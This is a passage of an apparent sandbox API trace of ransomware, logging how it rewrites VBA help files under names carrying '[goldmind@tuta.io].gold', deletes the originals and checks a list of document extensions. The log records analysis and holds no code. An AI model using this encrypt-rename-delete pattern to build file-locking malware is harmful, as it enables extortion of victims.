lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0043.569] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0043.569] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.569] SetEndOfFile (hFile=0x214) returned 1 [0043.569] CloseHandle (hObject=0x214) returned 1 [0043.569] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.569] SetEndOfFile (hFile=0x210) returned 1 [0043.570] CloseHandle (hObject=0x210) returned 1 [0043.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.570] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.571] lstrlenW (lpString=".doc") returned 4 [0043.571] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.571] lstrlenW (lpString=".docx") returned 5 [0043.571] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.571] lstrlenW (lpString=".pdf") returned 4 [0043.571] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.571] lstrlenW (lpString=".xls") returned 4 [0043.571] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.571] lstrlenW (lpString=".xlsx") returned 5 [0043.571] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.571] lstrlenW (lpString=".ppt") returned 4 [0043.571] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.571] lstrlenW (lpString=".zip") returned 4 [0043.571] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.571] lstrlenW (lpString=".rar") returned 4 [0043.571] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.571] lstrlenW (lpString=".bz2") returned 4 [0043.571] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.571] lstrlenW (lpString=".7z") returned 3 [0043.571] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.571] lstrlenW (lpString=".dbf") returned 4 [0043.571] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.571] lstrlenW (lpString=".1cd") returned 4 [0043.571] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.571] lstrlenW (lpString=".jpg") returned 4 [0043.571] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.571] lstrlenW (lpString=".doc") returned 4 [0043.571] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.571] lstrlenW (lpString=".docx") returned 5 [0043.571] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.571] lstrlenW (lpString=".pdf") returned 4 [0043.572] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.572] lstrlenW (lpString=".xls") returned 4 [0043.572] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.572] lstrlenW (lpString=".xlsx") returned 5 [0043.572] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.572] lstrlenW (lpString=".ppt") returned 4 [0043.572] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.572] lstrlenW (lpString=".zip") returned 4 [0043.572] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.572] lstrlenW (lpString=".rar") returned 4 [0043.572] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.572] lstrlenW (lpString=".bz2") returned 4 [0043.572] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.572] lstrlenW (lpString=".7z") returned 3 [0043.572] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.572] lstrlenW (lpString=".dbf") returned 4 [0043.572] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.572] lstrlenW (lpString=".1cd") returned 4 [0043.572] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0043.572] lstrlenW (lpString=".jpg") returned 4 [0043.572] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.572] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0043.572] lstrlenW (lpString="VBLR6.CHM") returned 9 [0043.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.572] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=944994) returned 1 [0043.572] CloseHandle (hObject=0x210) returned 1 [0043.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0043.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.573] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.573] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.573] GetLastError () returned 0x0 [0043.573] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0043.591] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0043.605] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0043.605] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.605] SetEndOfFile (hFile=0x214) returned 1 [0043.606] CloseHandle (hObject=0x214) returned 1 [0043.606] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.606] SetEndOfFile (hFile=0x210) returned 1 [0043.611] CloseHandle (hObject=0x210) returned 1 [0043.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.612] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0043.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.612] lstrlenW (lpString=".doc") returned 4 [0043.612] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.612] lstrlenW (lpString=".docx") returned 5 [0043.612] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.612] lstrlenW (lpString=".pdf") returned 4 [0043.612] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.612] lstrlenW (lpString=".xls") returned 4 [0043.612] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.612] lstrlenW (lpString=".xlsx") returned 5 [0043.612] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.612] lstrlenW (lpString=".ppt") returned 4 [0043.612] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.612] lstrlenW (lpString=".zip") returned 4 [0043.612] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.612] lstrlenW (lpString=".rar") returned 4 [0043.612] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.612] lstrlenW (lpString=".bz2") returned 4 [0043.612] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.612] lstrlenW (lpString=".7z") returned 3 [0043.612] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.612] lstrlenW (lpString=".dbf") returned 4 [0043.612] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.612] lstrlenW (lpString=".1cd") returned 4 [0043.612] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.612] lstrlenW (lpString=".jpg") returned 4 [0043.613] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.613] lstrlenW (lpString=".doc") returned 4 [0043.613] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.613] lstrlenW (lpString=".docx") returned 5 [0043.613] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.613] lstrlenW (lpString=".pdf") returned 4 [0043.613] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.613] lstrlenW (lpString=".xls") returned 4 [0043.613] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.613] lstrlenW (lpString=".xlsx") returned 5 [0043.613] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.613] lstrlenW (lpString=".ppt") returned 4 [0043.613] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.613] lstrlenW (lpString=".zip") returned 4 [0043.613] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.613] lstrlenW (lpString=".rar") returned 4 [0043.613] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.613] lstrlenW (lpString=".bz2") returned 4 [0043.613] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.613] lstrlenW (lpString=".7z") returned 3 [0043.613] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.613] lstrlenW (lpString=".dbf") returned 4 [0043.613] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.613] lstrlenW (lpString=".1cd") returned 4 [0043.613] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0043.613] lstrlenW (lpString=".jpg") returned 4 [0043.613] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.613] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0043.613] lstrlenW (lpString="VBOB6.CHM") returned 9 [0043.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.614] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=123956) returned 1 [0043.614] CloseHandle (hObject=0x210) returned 1 [0043.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0043.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.614] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.614] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.614] GetLastError () returned 0x0 [0043.614] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1e434, lpOverlapped=0x0) returned 1 [0043.617] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0043.621] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0043.621] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.621] SetEndOfFile (hFile=0x214) returned 1 [0043.621] CloseHandle (hObject=0x214) returned 1 [0043.622] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.622] SetEndOfFile (hFile=0x210) returned 1 [0043.623] CloseHandle (hObject=0x210) returned 1 [0043.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.623] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0043.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.625] lstrlenW (lpString=".doc") returned 4 [0043.625] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString=".docx") returned 5 [0043.625] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.625] lstrlenW (lpString=".pdf") returned 4 [0043.625] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString=".xls") returned 4 [0043.625] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString=".xlsx") returned 5 [0043.625] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.625] lstrlenW (lpString=".ppt") returned 4 [0043.625] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.625] lstrlenW (lpString=".zip") returned 4 [0043.625] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString=".rar") returned 4 [0043.625] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString=".bz2") returned 4 [0043.625] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.625] lstrlenW (lpString=".7z") returned 3 [0043.625] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.625] lstrlenW (lpString=".dbf") returned 4 [0043.625] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.625] lstrlenW (lpString=".1cd") returned 4 [0043.625] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.625] lstrlenW (lpString=".jpg") returned 4 [0043.625] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.625] lstrlenW (lpString=".doc") returned 4 [0043.625] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString=".docx") returned 5 [0043.625] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.625] lstrlenW (lpString=".pdf") returned 4 [0043.625] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString=".xls") returned 4 [0043.625] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.625] lstrlenW (lpString=".xlsx") returned 5 [0043.626] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.626] lstrlenW (lpString=".ppt") returned 4 [0043.626] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.626] lstrlenW (lpString=".zip") returned 4 [0043.626] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.626] lstrlenW (lpString=".rar") returned 4 [0043.626] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.626] lstrlenW (lpString=".bz2") returned 4 [0043.626] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.626] lstrlenW (lpString=".7z") returned 3 [0043.626] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.626] lstrlenW (lpString=".dbf") returned 4 [0043.626] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.626] lstrlenW (lpString=".1cd") returned 4 [0043.626] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0043.626] lstrlenW (lpString=".jpg") returned 4 [0043.626] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.626] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0043.626] lstrlenW (lpString="VBUI6.CHM") returned 9 [0043.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.628] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=416918) returned 1 [0043.628] CloseHandle (hObject=0x210) returned 1 [0043.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0043.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.628] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.628] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.629] GetLastError () returned 0x0 [0043.629] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x65c96, lpOverlapped=0x0) returned 1 [0043.637] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x65ca0, 